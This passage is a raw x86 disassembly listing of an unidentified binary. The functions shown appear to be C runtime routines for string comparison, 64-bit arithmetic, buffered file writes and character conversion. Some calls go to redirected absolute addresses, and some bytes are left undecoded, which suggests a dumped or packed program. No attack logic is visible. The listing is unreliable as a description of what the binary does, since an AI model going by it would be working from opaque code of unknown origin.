-1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 2770578h nop lea eax, [ebp+var_20] push eax call near ptr 2860000h nop mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call near ptr 2850000h nop cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2670EEBh nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 26709C5h nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D nop call near ptr 26709C5h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 nop call near ptr 2810000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 70h dd 6961DAE5h, 0CFCD5E61h, 0E916C959h, 0A164A86Ah, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 4437E8E8h, 33900245h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 0E8000059h, 2454398h, 0C90CA390h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 2606E856h, 50900226h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax call near ptr 26518CEh nop test eax, eax jnz short loc_41DAEB nop call near ptr 26709C5h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc 